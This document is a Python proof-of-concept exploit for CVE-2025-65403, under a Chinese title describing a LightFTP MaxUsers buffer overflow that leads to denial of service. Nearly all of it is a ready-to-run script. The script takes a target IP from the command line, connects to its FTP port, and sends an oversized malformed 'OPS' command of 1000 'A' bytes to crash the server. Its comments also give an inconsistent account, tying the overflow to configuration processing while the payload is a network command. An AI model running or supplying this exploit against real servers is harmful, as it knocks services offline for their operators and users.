CVE-2025-65403 LightFTP MaxUsers缓冲区溢出导致拒绝服务

# CVE-2025-65403 PoC - LightFTP MaxUsers Buffer Overflow # This PoC demonstrates how to trigger the buffer overflow in LightFTP MaxUsers component import socket import sys def create_ftp_payload(): """Create malicious payload to overflow MaxUsers buffer""" # Crafted input that exceeds buffer size in g_cfg.MaxUsers # The overflow occurs when processing MaxUsers configuration overflow_data = b'OPS' + b'A' * 1000 # Malformed command with oversized data return overflow_data def send_exploit(target_host, target_port=21): """Send exploit payload to LightFTP server""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Receive initial FTP banner banner = sock.recv(1024) print(f"[+] Received banner: {banner.decode().strip()}") # Send crafted payload to trigger buffer overflow in MaxUsers payload = create_ftp_payload() sock.send(payload) print(f"[+] Sent malicious payload ({len(payload)} bytes)") # Try to receive response try: response = sock.recv(1024) print(f"[*] Response: {response.decode().strip()}") except: print("[*] No response received - service may have crashed") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 21 print(f"[*] Exploiting CVE-2025-65403 on {target}:{port}") send_exploit(target, port)